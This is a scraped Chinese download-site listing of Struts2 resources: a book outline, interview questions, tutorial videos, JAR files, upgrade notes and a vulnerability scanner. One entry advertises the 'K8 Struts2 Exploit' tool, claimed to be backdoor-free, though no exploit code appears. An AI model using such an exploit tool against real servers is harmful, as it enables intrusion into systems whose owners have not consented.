2013-04-14 12:00:31第1章 Struts 2:现代Web框架 2 1.1 Web应用程序:快速学习 2 1.1.1 构建Web应用程序 2 1.1.2 基础技术简介 3 1.1.3 深入研究 6 1.2 Web应用程序框架 7 1.2.1 什么是框架 7 1.2.2 为什么使用框架 8 1.3 Struts 2框架... -
【2017版】Struts2漏洞检查工具
2017-07-18 17:20:09最新Struts2漏洞检查工具2017版,支持045,046,048验证 -
2016最新struts2漏洞利用工具无后门版(K8 Struts2 Exploit)
2016-03-05 06:33:18K8 Struts2 Exploit神器唯一无后门的版本,可自行杀毒检验 -
Struts2 面试题
2019-10-15 22:39:53Struts2 试题 1.struts2的执行流程? 客户端提交一个HttpServletRequest请求(action或JSP页面) 请求被提交到一系列Filter过滤器,如ActionCleanUp和FiterDispatcher等 FilterDispatcher是Struts2控制器的核心,它... -
Struts2教学视频
2013-06-04 17:14:32Struts2的功能方法,看了就基本懂struts是什么回事了 -
struts2-convention-plugin-2.3.15.3 JAR包
2014-03-17 21:31:17struts2-convention-plugin-2.3.15.3.jar struts2配置Action注解要用到的包,真正实现零配置 -
Struts2升级2.5.30的那些坑
2022-04-18 15:24:54struts2-version>2.5.30</struts2-version> </properties> <dependencies> <dependency> <groupId>org.apache.struts</groupId> <artifactId>s -
struts2-core-2.3.32和xwork-core-2.3.32
2017-03-09 11:47:55struts2无漏洞版本,struts2-core-2.3.32和xwork-core-2.3.32 -
Struts2实战.pdf
2012-11-19 11:14:30资深开发人员深入剖析Struts2核心概念和组件 学习Struts不可不读 作者简介 作者:(美国)Donald Brown (美国)Chad Michael Davis (美国)Scott Stanlick 译者:马召 等 Donald Brown,Atlassian软件系统公司托管... -
struts2-core-2.2.1-sources.jar
2014-03-29 00:28:08struts2-core-2.2.1-sources.jar 源码,学strut2源码时能用到的